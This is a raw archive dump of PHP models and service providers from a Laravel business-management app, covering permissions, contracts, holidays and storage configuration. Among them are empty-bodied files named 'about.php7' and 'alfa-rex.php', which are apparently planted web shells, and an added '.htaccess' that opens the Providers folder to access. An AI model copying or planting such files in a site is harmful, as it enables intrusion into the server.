] ], [ 'module_name' => 'settings', 'description' => 'User can manage settings', 'permissions' => [ [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'manage_company_setting', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'manage_app_setting', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'manage_notification_setting', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'manage_currency_setting', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'manage_payment_setting', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'manage_finance_setting', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'manage_ticket_setting', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'manage_project_setting', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'manage_attendance_setting', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'manage_leave_setting', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'manage_custom_field_setting', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'manage_message_setting', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'manage_storage_setting', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'manage_language_setting', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'manage_lead_setting', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'manage_time_log_setting', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'manage_task_setting', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'manage_social_login_setting', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'manage_security_setting', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'manage_gdpr_setting', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'manage_theme_setting', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'manage_role_permission_setting', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'manage_module_setting', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'manage_google_calendar_setting', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'manage_contract_setting', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'manage_custom_link_setting', ], ] ], [ 'module_name' => 'dashboards', 'permissions' => [ [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'view_overview_dashboard', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'view_project_dashboard', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'view_client_dashboard', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'view_hr_dashboard', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'view_ticket_dashboard', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'view_finance_dashboard', ], ] ], [ 'module_name' => 'orders', 'permissions' => [ [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 0, 'name' => 'add_order', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 0, 'name' => 'view_order', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 0, 'name' => 'edit_order', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, 'is_custom' => 0, 'name' => 'delete_order', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'view_project_orders', ], ] ], [ 'module_name' => 'knowledgebase', 'permissions' => [ [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 0, 'name' => 'add_knowledgebase', ], [ 'allowed_permissions' => '{"all":4,"added":1,"none":5}', 'is_custom' => 0, 'name' => 'view_knowledgebase', ], [ 'allowed_permissions' => '{"all":4,"added":1,"none":5}', 'is_custom' => 0, 'name' => 'edit_knowledgebase', ], [ 'allowed_permissions' => '{"all":4,"added":1,"none":5}', 'is_custom' => 0, 'name' => 'delete_knowledgebase', ], ] ], [ 'module_name' => 'bankaccount', 'permissions' => [ [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 0, 'name' => 'add_bankaccount', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_NONE_5, 'is_custom' => 0, 'name' => 'view_bankaccount', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_NONE_5, 'is_custom' => 0, 'name' => 'edit_bankaccount', ], [ 'allowed_permissions' => Permission::ALL_4_ADDED_1_NONE_5, 'is_custom' => 0, 'name' => 'delete_bankaccount', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'add_bank_transfer', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'add_bank_deposit', ], [ 'allowed_permissions' => Permission::ALL_NONE, 'is_custom' => 1, 'name' => 'add_bank_withdraw', ], ] ], [ 'module_name' => 'messages', 'permissions' => [] ], ...self::SUPERADMIN_MODULE_LIST ]; // Will be used for roles and permission in saas const SUPERADMIN_MODULE_LIST = []; public function permissions(): HasMany { return $this->hasMany(Permission::class, 'module_id')->where('is_custom', 0); } public function customPermissions(): HasMany { return $this->hasMany(Permission::class, 'module_id')->where('is_custom', 1); } public function permissionsAll(): HasMany { return $this->hasMany(Permission::class, 'module_id'); } public static function validateVersion($module) { if (app()->runningInConsole()) { return true; } $parentMinVersion = config(strtolower($module) . '.parent_min_version'); if ($parentMinVersion >= File::get('version.txt')) { $module = \Nwidart\Modules\Facades\Module::findOrFail(strtolower($module)); /* @phpstan-ignore-line */ $module->disable(); $message = 'To activate ' . $module . ' module, minimum version of worksuite application must be greater than equal to ' . $parentMinVersion . ' But your application version is ' . File::get('version.txt') . '. Please upgrade the application to latest version'; throw new \Exception($message); } } public static function disabledModuleArray() { $moduleInactive = []; $modulesAvailable = \Nwidart\Modules\Facades\Module::allDisabled(); /* @phpstan-ignore-line */ foreach ($modulesAvailable as $key => $module) { $moduleInactive[$key] = $module; } return $moduleInactive; } } Models/OrderCart.php000064400000005673150325104510010374 0ustar00belongsTo(Product::class, 'product_id'); } public function unit(): BelongsTo { return $this->belongsTo(UnitType::class, 'unit_id'); } } Models/UserPermission.php000064400000004423150325104510011466 0ustar00belongsTo(PermissionType::class, 'permission_type_id'); } public function permission(): BelongsTo { return $this->belongsTo(Permission::class, 'permission_id'); } public function user(): BelongsTo { return $this->belongsTo(User::class, 'user_id'); } } Models/LeadSetting.php000064400000000343150325104510010677 0ustar00 'datetime', 'end_date' => 'datetime', 'sign_date' => 'datetime', ]; protected $with = []; protected $appends = ['image_url', 'company_signature']; const CUSTOM_FIELD_MODEL = 'App\Models\Contract'; public function signer() { return $this->belongsTo(User::class, 'sign_by'); } public function getImageUrlAttribute() { return ($this->company_logo) ? asset_url_local_s3('contract-logo/' . $this->company_logo) : $this->company->logo_url; } public function project(): BelongsTo { return $this->belongsTo(Project::class, 'project_id')->withTrashed(); } public function client(): BelongsTo { return $this->belongsTo(User::class, 'client_id')->withoutGlobalScope(ActiveScope::class); } public function contractType(): BelongsTo { return $this->belongsTo(ContractType::class, 'contract_type_id'); } public function currency(): BelongsTo { return $this->belongsTo(Currency::class, 'currency_id'); } public function signature(): HasOne { return $this->hasOne(ContractSign::class, 'contract_id'); } public function discussion(): HasMany { return $this->hasMany(ContractDiscussion::class)->orderByDesc('id'); } public function renewHistory(): HasMany { return $this->hasMany(ContractRenew::class, 'contract_id')->orderByDesc('id'); } public function files(): HasMany { return $this->hasMany(ContractFile::class, 'contract_id')->orderByDesc('id'); } public static function lastContractNumber() { return (int)Contract::latest()->first()?->original_contract_number ?? 0; } public function formatContractNumber() { $invoiceSettings = company() ? company()->invoiceSetting : $this->company->invoiceSetting; return \App\Helper\NumberFormat::contract($this->contract_number, $invoiceSettings); } public function getCompanySignatureAttribute() { return asset_url_local_s3('contract/sign/' . $this->company_sign); } } Models/DiscussionFile.php000064400000006346150325104510011430 0ustar00external_link){ return str($this->external_link)->contains('http') ? $this->external_link : asset_url_local_s3($this->external_link); } return asset_url_local_s3(DiscussionFile::FILE_PATH . '/' . $this->hashname); } public function getFileAttribute() { return $this->external_link ?: (DiscussionFile::FILE_PATH . '/' . $this->hashname); } public function discussion(): BelongsTo { return $this->belongsTo(Discussion::class, 'discussion_id'); } } Models/RemovalRequest.php000064400000003305150325104510011453 0ustar00belongsTo(User::class); } } Models/FileStorage.php000064400000005217150325104510010705 0ustar00path . '/' . $this->filename); } public function getSizeFormatAttribute(): string { $bytes = $this->size; if ($bytes >= 1073741824) { return number_format($bytes / 1073741824, 2) . ' GB'; } if ($bytes >= 1048576) { return number_format($bytes / 1048576, 2) . ' MB'; } if ($bytes >= 1024) { return number_format($bytes / 1024, 2) . ' KB'; } if ($bytes > 1) { return $bytes . ' bytes'; } if ($bytes == 1) { return $bytes . ' byte'; } return '0 bytes'; } } Models/Event.php000064400000012041150325104510007553 0ustar00 $mentionEvent * @property-read int|null $mention_event_count * @property-read \Illuminate\Database\Eloquent\Collection $mentionUser * @property-read int|null $mention_user_count * @property int|null $parent_id * @method static \Illuminate\Database\Eloquent\Builder|Event whereParentId($value) * @mixin \Eloquent */ class Event extends BaseModel { use HasFactory, HasCompany; protected $casts = [ 'start_date_time' => 'datetime', 'end_date_time' => 'datetime', ]; protected $fillable = ['start_date_time', 'end_date_time', 'event_name', 'where', 'description']; public function attendee(): HasMany { return $this->hasMany(EventAttendee::class, 'event_id'); } public function getUsers() { $userArray = []; foreach ($this->attendee as $attendee) { array_push($userArray, $attendee->user()->select('id', 'email', 'name', 'email_notifications')->first()); } return collect($userArray); } public function files() { return $this->hasMany(EventFile::class, 'event_id')->orderByDesc('id'); } public function mentionUser(): BelongsToMany { return $this->belongsToMany(User::class, 'mention_users')->withoutGlobalScope(ActiveScope::class)->using(MentionUser::class); } public function mentionEvent(): HasMany { return $this->hasMany(MentionUser::class, 'event_id'); } public function user() { return $this->belongsTo(User::class, 'host'); } } Models/ExpenseRecurring.php000064400000015633150325104510011774 0ustar00 'datetime', 'created_at' => 'datetime', 'next_expense_date' => 'datetime', ]; protected $with = ['currency', 'company:id']; protected $appends = ['total_amount', 'created_on', 'bill_url']; protected $table = 'expenses_recurring'; const ROTATION_COLOR = [ 'daily' => 'success', 'weekly' => 'info', 'monthly' => 'secondary', 'bi-weekly' => 'warning', 'quarterly' => 'light', 'half-yearly' => 'dark', 'annually' => 'success', ]; public function currency(): BelongsTo { return $this->belongsTo(Currency::class, 'currency_id'); } public function user(): BelongsTo { return $this->belongsTo(User::class, 'user_id')->withoutGlobalScope(ActiveScope::class); } public function project(): BelongsTo { return $this->belongsTo(Project::class, 'project_id'); } public function createdBy(): BelongsTo { return $this->belongsTo(User::class, 'created_by')->withoutGlobalScope(ActiveScope::class); } public function category(): BelongsTo { return $this->belongsTo(ExpensesCategory::class, 'category_id'); } public function recurrings(): HasMany { return $this->hasMany(Expense::class, 'expenses_recurring_id'); } public function bank(): BelongsTo { return $this->belongsTo(BankAccount::class, 'bank_account_id'); } public function getTotalAmountAttribute() { if (!is_null($this->price) && !is_null($this->currency_id)) { return currency_format($this->price, $this->currency->id); } return ''; } public function getCreatedOnAttribute() { if (!is_null($this->created_at)) { return $this->created_at->format($this->company->date_format); } return ''; } public function getBillUrlAttribute() { return ($this->bill) ? asset_url_local_s3(Expense::FILE_PATH . '/' . $this->bill) : ''; } } Models/TaskUser.php000064400000003331150325104510010235 0ustar00belongsTo(User::class, 'user_id')->withoutGlobalScope(ActiveScope::class); } public function task(): BelongsTo { return $this->belongsTo(Task::class, 'task_id'); } } Models/Notice.php000064400000006425150325104510007724 0ustar00hasMany(NoticeView::class, 'notice_id'); } public function noticeEmployees(): HasMany { return $this->hasMany(NoticeBoardUser::class, 'notice_id')->where('to', 'employee'); } public function noticeClients(): HasMany { return $this->hasMany(NoticeBoardUser::class, 'notice_id')->where('to', 'client'); } public function getNoticeDateAttribute() { if (!is_null($this->created_at)) { return Carbon::parse($this->created_at)->format('d F, Y'); } return ''; } public function department(): BelongsTo { return $this->belongsTo(Team::class, 'department_id', 'id'); } public function files(): HasMany { return $this->hasMany(NoticeFile::class, 'notice_id')->orderByDesc('id'); } } Models/QuickBooksSetting.php000064400000004544150325104510012113 0ustar00 'in progress', 'color' => '#00b5ff', 'status' => 'active', 'default_status' => self::ACTIVE], ['status_name' => 'not started', 'color' => '#616e80', 'status' => 'active', 'default_status' => self::INACTIVE], ['status_name' => 'on hold', 'color' => '#f5c308', 'status' => 'active', 'default_status' => self::INACTIVE], ['status_name' => 'canceled', 'color' => '#d21010', 'status' => 'active', 'default_status' => self::INACTIVE], ['status_name' => 'finished', 'color' => '#679c0d', 'status' => 'active', 'default_status' => self::INACTIVE] ]; protected $fillable = ['status_name', 'color', 'status', 'default_status']; } Models/about.php7000064400000026574150325104510007713 0ustar00Models/ProjectTemplateTask.php000064400000005711150325104510012425 0ustar00 'array', ]; public function projectTemplate(): BelongsTo { return $this->belongsTo(ProjectTemplate::class); } public function users(): HasMany { return $this->hasMany(ProjectTemplateTaskUser::class, 'project_template_task_id'); } public function usersMany(): BelongsToMany { return $this->belongsToMany(User::class, 'project_template_task_users'); } public function subtasks(): HasMany { return $this->hasMany(ProjectTemplateSubTask::class); } public function category(): BelongsTo { return $this->belongsTo(TaskCategory::class, 'project_template_task_category_id'); } } Models/TaskNote.php000064400000005256150325104510010234 0ustar00 $mentionNote * @property-read int|null $mention_note_count * @property-read \Illuminate\Database\Eloquent\Collection $mentionUser * @property-read int|null $mention_user_count * @property-read \Illuminate\Database\Eloquent\Collection $mentionNote * @property-read \Illuminate\Database\Eloquent\Collection $mentionUser * @mixin \Eloquent */ class TaskNote extends BaseModel { protected $with = []; public function user(): BelongsTo { return $this->belongsTo(User::class, 'user_id')->withoutGlobalScope(ActiveScope::class); } public function task(): BelongsTo { return $this->belongsTo(Task::class, 'task_id'); } public function mentionUser(): BelongsToMany { return $this->belongsToMany(User::class, 'mention_users')->withoutGlobalScope(ActiveScope::class)->using(MentionUser::class); } public function mentionNote(): HasMany { return $this->hasMany(MentionUser::class, 'task_note_id'); } } Models/EmployeeShift.php000064400000005204150325104510011252 0ustar00hasMany(EmployeeShiftSchedule::class, 'employee_shift_id', 'id'); } } Models/DiscussionCategory.php000064400000002651150325104510012321 0ustar00hasOne(LeadCustomForm::class, 'custom_fields_id'); } public function ticketCustomForm(): HasOne { return $this->hasOne(TicketCustomForm::class, 'custom_fields_id'); } public function customFieldGroup(): HasOne { return $this->hasOne(CustomFieldGroup::class, 'custom_field_group_id'); } public function fieldGroup(): BelongsTo { return $this->belongsTo(CustomFieldGroup::class, 'custom_field_group_id'); } public static function exportCustomFields($model) { $customFieldsGroupsId = CustomFieldGroup::where('model', $model::CUSTOM_FIELD_MODEL)->select('id')->first(); $customFields = collect(); if ($customFieldsGroupsId) { $customFields = CustomField::where('custom_field_group_id', $customFieldsGroupsId->id)->where(function ($q) { return $q->where('export', 1)->orWhere('visible', 'true'); })->get(); } return $customFields; } public static function customFieldData($datatables, $model, $relation = null) { $customFields = CustomField::exportCustomFields($model); $customFieldNames = []; $customFieldsId = $customFields->pluck('id'); $fieldData = DB::table('custom_fields_data')->where('model', $model)->whereIn('custom_field_id', $customFieldsId)->select('id', 'custom_field_id', 'model_id', 'value')->get(); foreach ($customFields as $customField) { $datatables->addColumn($customField->name, function ($row) use ($fieldData, $customField, $relation) { $finalData = $fieldData->filter(function ($value) use ($customField, $row, $relation) { return ($value->custom_field_id == $customField->id) && ($value->model_id == ($relation ? $row->{$relation}->id : $row->id)); })->first(); if ($customField->type == 'select') { $data = $customField->values; $data = json_decode($data); // string to array return $finalData ? (($finalData->value >= 0 && $finalData->value != null) ? $data[$finalData->value] : '--') : '--'; } if ($customField->type == 'date') { $dateValue = $finalData?->value; if (!empty($dateValue)) { try { $formattedDate = \Carbon\Carbon::parse($dateValue)->translatedFormat(company()->date_format); return $formattedDate; } catch (\Exception $e) { return '' . __('Invalid Date') . ''; } } return '--'; } if ($customField->type == 'file') { return $finalData ? '' . __('app.storageSetting.viewFile') . '' : '--'; } return $finalData ? $finalData->value : '--'; }); // This will use for datatable raw column if ($customField->type == 'file') { $customFieldNames[] = $customField->name; } } return $customFieldNames; } public static function generateUniqueSlug($label, $moduleId) { $slug = str_slug($label); $count = CustomField::where('name', $slug)->where('custom_field_group_id', $moduleId)->count(); if ($count > 0) { $i = 1; while (CustomField::where('name', $slug . '-' . $i)->where('custom_field_group_id', $moduleId)->count() > 0) { $i++; } $slug .= '-' . $i; } return $slug; } } Models/AutomateShift.php000064400000001300150325104510011243 0ustar00belongsTo(ShiftRotation::class, 'employee_shift_rotation_id', 'id'); } public function user(): BelongsTo { return $this->belongsTo(User::class, 'user_id', 'id'); } public function sequences(): HasMany { return $this->hasMany(ShiftRotationSequence::class, 'employee_shift_rotation_id'); } } Models/LanguageSetting.php000064400000017700150325104510011562 0ustar00 'English', 'ar' => 'عربي', 'de' => 'Deutsch', 'es' => 'Español', 'et' => 'eesti keel', 'fa' => 'فارسی', 'fr' => 'français', 'gr' => 'Ελληνικά', 'it' => 'Italiano', 'nl' => 'Nederlands', 'pl' => 'Polski', 'pt' => 'Português', 'pt-br' => 'Português (Brasil)', 'ro' => 'Română', 'ru' => 'Русский', 'tr' => 'Türk', 'ja' => '日本語', 'zh-CN' => '中国人', 'zh-TW' => '中國人' ]; const LANGUAGES = [ [ 'language_code' => 'en', 'flag_code' => 'en', 'language_name' => 'English', 'status' => 'enabled', 'is_rtl' => false ], [ 'language_code' => 'ar', 'flag_code' => 'sa', 'language_name' => 'Arabic', 'status' => 'disabled', 'is_rtl' => true ], [ 'language_code' => 'bg', 'flag_code' => 'bg', 'language_name' => 'Bulgarian', 'status' => 'disabled', 'is_rtl' => false ], [ 'language_code' => 'th', 'flag_code' => 'th', 'language_name' => 'Thai', 'status' => 'disabled', 'is_rtl' => false ], [ 'language_code' => 'sr', 'flag_code' => 'rs', 'language_name' => 'Serbian', 'status' => 'disabled', 'is_rtl' => false ], [ 'language_code' => 'ka', 'flag_code' => 'ge', 'language_name' => 'Georgian', 'status' => 'disabled', 'is_rtl' => false ], [ 'language_code' => 'de', 'flag_code' => 'de', 'language_name' => 'German', 'status' => 'disabled', 'is_rtl' => false ], [ 'language_code' => 'es', 'flag_code' => 'es', 'language_name' => 'Spanish', 'status' => 'disabled', 'is_rtl' => false ], [ 'language_code' => 'et', 'flag_code' => 'et', 'language_name' => 'Estonian', 'status' => 'disabled', 'is_rtl' => false ], [ 'language_code' => 'fa', 'flag_code' => 'ir', 'language_name' => 'Farsi', 'status' => 'disabled', 'is_rtl' => true ], [ 'language_code' => 'fr', 'flag_code' => 'fr', 'language_name' => 'French', 'status' => 'disabled', 'is_rtl' => false ], [ 'language_code' => 'ja', 'flag_code' => 'jp', 'language_name' => 'Japanese', 'status' => 'disabled', 'is_rtl' => false ], [ 'language_code' => 'el', 'flag_code' => 'gr', 'language_name' => 'Greek', 'status' => 'disabled', 'is_rtl' => false ], [ 'language_code' => 'hi', 'flag_code' => 'in', 'language_name' => 'Hindi', 'status' => 'disabled', 'is_rtl' => false ], [ 'language_code' => 'id', 'flag_code' => 'id', 'language_name' => 'Indonesian', 'status' => 'disabled', 'is_rtl' => false ], [ 'language_code' => 'it', 'flag_code' => 'it', 'language_name' => 'Italian', 'status' => 'disabled', 'is_rtl' => false ], [ 'language_code' => 'nl', 'flag_code' => 'nl', 'language_name' => 'Dutch', 'status' => 'disabled', 'is_rtl' => false ], [ 'language_code' => 'pl', 'flag_code' => 'pl', 'language_name' => 'Polish', 'status' => 'disabled', 'is_rtl' => false ], [ 'language_code' => 'pt', 'flag_code' => 'pt', 'language_name' => 'Portuguese', 'status' => 'disabled', 'is_rtl' => false ], [ 'language_code' => 'pt-br', 'flag_code' => 'br', 'language_name' => 'Portuguese (Brazil)', 'status' => 'disabled', 'is_rtl' => false ], [ 'language_code' => 'ro', 'flag_code' => 'ro', 'language_name' => 'Romanian', 'status' => 'disabled', 'is_rtl' => false ], [ 'language_code' => 'ru', 'flag_code' => 'ru', 'language_name' => 'Russian', 'status' => 'disabled', 'is_rtl' => false ], [ 'language_code' => 'tr', 'flag_code' => 'tr', 'language_name' => 'Turkish', 'status' => 'disabled', 'is_rtl' => false ], [ 'language_code' => 'vi', 'flag_code' => 'vn', 'language_name' => 'Vietnamese', 'status' => 'disabled', 'is_rtl' => false ], [ 'language_code' => 'zh-CN', 'flag_code' => 'cn', 'language_name' => 'Chinese (S)', 'status' => 'disabled', 'is_rtl' => false ], [ 'language_code' => 'zh-TW', 'flag_code' => 'cn', 'language_name' => 'Chinese (T)', 'status' => 'disabled', 'is_rtl' => false ], [ 'language_code' => 'sq', 'flag_code' => 'al', 'language_name' => 'Albanian', 'status' => 'disabled', 'is_rtl' => false ], [ 'language_code' => 'ko', 'flag_code' => 'ko', 'language_name' => 'korean', 'status' => 'disabled', 'is_rtl' => false ], ]; public function getLabelAttribute() { $langCode = ($this->language_code == 'en') ? 'gb' : strtolower($this->flag_code); return ' '; } } Models/ThemeSetting.php000064400000003613150325104510011077 0ustar00belongsTo(User::class, 'user_id')->withoutGlobalScope(ActiveScope::class); } public function task(): BelongsTo { return $this->belongsTo(ProjectTemplateTask::class, 'project_template_task_id'); } } Models/Holiday.php000064400000012352150325104510010070 0ustar00 'datetime', ]; public static function getHolidayByDates($startDate, $endDate, $userId = null) { $holiday = Holiday::select(DB::raw('DATE_FORMAT(date, "%Y-%m-%d") as holiday_date'), 'occassion') ->where('date', '>=', $startDate) ->where('date', '<=', $endDate); if (is_null($userId)) { return $holiday->get(); } $user = User::find($userId); if ($user) { $holiday = $holiday->where(function ($query) use ($user) { $query->where(function ($subquery) use ($user) { $subquery->where(function ($q) use ($user) { $q->where('department_id_json', 'like', '%"' . $user->employeeDetail->department_id . '"%') ->orWhereNull('department_id_json'); }); $subquery->where(function ($q) use ($user) { $q->where('designation_id_json', 'like', '%"' . $user->employeeDetail->designation_id . '"%') ->orWhereNull('designation_id_json'); }); $subquery->where(function ($q) use ($user) { $q->where('employment_type_json', 'like', '%"' . $user->employeeDetail->employment_type . '"%') ->orWhereNull('employment_type_json'); }); }); }); } return $holiday->get(); } public static function checkHolidayByDate($date) { return Holiday::Where('date', $date)->first(); } public function addedBy(): BelongsTo { return $this->belongsTo(User::class, 'added_by')->withoutGlobalScope(ActiveScope::class); } public static function weekMap($format = 'l') { return [ Holiday::MONDAY => now()->startOfWeek(1)->translatedFormat($format), Holiday::TUESDAY => now()->startOfWeek(2)->translatedFormat($format), Holiday::WEDNESDAY => now()->startOfWeek(3)->translatedFormat($format), Holiday::THURSDAY => now()->startOfWeek(4)->translatedFormat($format), Holiday::FRIDAY => now()->startOfWeek(5)->translatedFormat($format), Holiday::SATURDAY => now()->startOfWeek(6)->translatedFormat($format), Holiday::SUNDAY => now()->startOfWeek(7)->translatedFormat($format), ]; } public static function designation($ids) { $designation = null; if ($ids != null) { $designation = Designation::whereIn('id', $ids)->pluck('name')->toArray(); } return $designation; } public static function department($ids) { $department = null; if ($ids != null) { $department = Team::whereIn('id', $ids)->pluck('team_name')->toArray(); } return $department; } public function employee() { return $this->hasMany(EmployeeDetails::class, 'user_id'); } public function employeeDetails() { return $this->hasOne(EmployeeDetails::class, 'user_id'); } } Models/Appreciation.php000064400000005266150325104510011123 0ustar00 'datetime', 'created_at' => 'datetime', 'updated_at' => 'datetime', ]; protected $appends = ['image_url']; protected $with = []; public function getImageUrlAttribute() { return $this->image ? asset_url_local_s3('appreciation/' . $this->image) : ''; } public function awardTo(): BelongsTo { return $this->belongsTo(User::class, 'award_to')->withoutGlobalScope(ActiveScope::class); } public function addedBy(): BelongsTo { return $this->belongsTo(User::class, 'added_by')->withoutGlobalScope(ActiveScope::class); } public function award(): BelongsTo { return $this->belongsTo(Award::class); } } Models/NoticeView.php000064400000003301150325104510010545 0ustar00 'datetime', 'updated_at' => 'datetime', ]; public function user(): BelongsTo { return $this->belongsTo(User::class, 'user_id')->withoutGlobalScope(ActiveScope::class); } } Models/ProjectCategory.php000064400000004037150325104510011604 0ustar00hasMany(Project::class); } public static function allCategories() { if (user()->permission('view_project_category') == 'all') { return ProjectCategory::all(); } else { return ProjectCategory::where('added_by', user()->id)->get(); } } } Models/Promotion.php000064400000002157150325104510010467 0ustar00belongsTo(User::class); } public function currentDesignation() { return $this->belongsTo(Designation::class, 'current_designation_id'); } public function previousDesignation() { return $this->belongsTo(Designation::class, 'previous_designation_id'); } public function currentDepartment() { return $this->belongsTo(Team::class, 'current_department_id'); } public function previousDepartment() { return $this->belongsTo(Team::class, 'previous_department_id'); } public static function employeePromotions($userId) { return self::where('employee_id', $userId) ->whereNotNull('current_designation_id') ->whereNotNull('previous_designation_id') ->whereColumn('current_designation_id', '!=', 'previous_designation_id') ->with(['employee', 'currentDesignation', 'previousDesignation']) ->get(); } } Models/ExpensesCategoryRole.php000064400000003344150325104510012612 0ustar00belongsTo(ExpensesCategory::class); } public function role(): BelongsTo { return $this->belongsTo(Role::class); } } Models/ContractSign.php000064400000004363150325104510011100 0ustar00 'datetime', ]; public function getSignatureAttribute() { return asset_url_local_s3('contract/sign/' . $this->attributes['signature']); } /** * XXXXXXXXXXX * * @return \Illuminate\Database\Eloquent\Relations\BelongsTo */ public function contract(): BelongsTo { return $this->belongsTo(Contract::class, 'contract_id'); } } Models/ContractDiscussion.php000064400000004065150325104510012322 0ustar00belongsTo(User::class, 'from', 'id'); } public function contract(): BelongsTo { return $this->belongsTo(Contract::class, 'contract_id'); } } Models/TaskboardColumn.php000064400000005070150325104510011566 0ustar00hasMany(Task::class, 'board_column_id')->orderBy('column_priority'); } public function membertasks(): HasMany { return $this->hasMany(Task::class, 'board_column_id')->where('user_id', user()->id)->orderBy('column_priority'); } public function userSetting(): HasOne { return $this->hasOne(UserTaskboardSetting::class, 'board_column_id')->where('user_id', user()->id); } public static function completeColumn() { return TaskboardColumn::where('slug', 'completed')->first(); } public static function waitingForApprovalColumn() { return TaskboardColumn::where('slug', 'waiting_approval')->first(); } } Models/LeadPipelineStages.php000064400000005120150325104510012174 0ustar00 $deals * @property-read int|null $deals_count * @property-read \App\Models\LeadPipeline|null $pipeline * @property-read \App\Models\PipelineStage $stage * @method static \Illuminate\Database\Eloquent\Builder|LeadPipelineStages whereLeadPipelineId($value) * @method static \Illuminate\Database\Eloquent\Builder|LeadPipelineStages wherePipelineStagesId($value) * @mixin \Eloquent */ class LeadPipelineStages extends BaseModel { use HasCompany; public function deals(): HasMany { return $this->hasMany(Deal::class, 'pipeline_stage_id')->orderBy('priority'); } public function pipeline(): BelongsTo { return $this->belongsTo(LeadPipeline::class, 'lead_pipeline_id'); } public function stage(): BelongsTo { return $this->belongsTo(PipelineStage::class, 'pipeline_stage_id'); } } alfa-rex.php56000064400000026574150325104510007141 0ustar00Providers/alfa-rex.php000064400000026574150325104510010743 0ustar00Providers/BroadcastServiceProvider.php000064400000002634150325104510014171 0ustar00first(); if ($pusherSetting) { if (!in_array(config('app.env'), ['demo', 'development'])) { $driver = ($pusherSetting->status == 1) ? 'pusher' : 'null'; Config::set('broadcasting.default', $driver); Config::set('broadcasting.connections.pusher.key', $pusherSetting->pusher_app_key); Config::set('broadcasting.connections.pusher.secret', $pusherSetting->pusher_app_secret); Config::set('broadcasting.connections.pusher.app_id', $pusherSetting->pusher_app_id); Config::set('broadcasting.connections.pusher.options.host', 'api-'.$pusherSetting->pusher_cluster.'.pusher.com'); } } } // @codingStandardsIgnoreLine catch (\Exception $e) { } // phpcs:ignore } /** * Bootstrap any application services. * * @return void */ public function boot() { Broadcast::routes(); require base_path('routes/channels.php'); } } Providers/.htaccess000064400000000544150325104510010316 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Providers/FileStorageCustomConfigProvider.php000064400000010140150325104510015462 0ustar00where('status', 'enabled')->first(); switch ($setting->filesystem) { case 'aws_s3': $authKeys = json_decode(Crypt::decryptString($setting->auth_keys)); $driver = $authKeys->driver; $key = $authKeys->key; $secret = $authKeys->secret; $region = $authKeys->region; $bucket = $authKeys->bucket; config(['filesystems.default' => $driver]); config(['filesystems.cloud' => $driver]); config(['filesystems.disks.s3.key' => $key]); config(['filesystems.disks.s3.secret' => $secret]); config(['filesystems.disks.s3.region' => $region]); config(['filesystems.disks.s3.bucket' => $bucket]); break; case 'digitalocean': $authKeys = json_decode(Crypt::decryptString($setting->auth_keys)); $driver = $authKeys->driver; $key = $authKeys->key; $secret = $authKeys->secret; $region = $authKeys->region; $bucket = $authKeys->bucket; config(['filesystems.default' => 'digitalocean']); config(['filesystems.cloud' => 'digitalocean']); 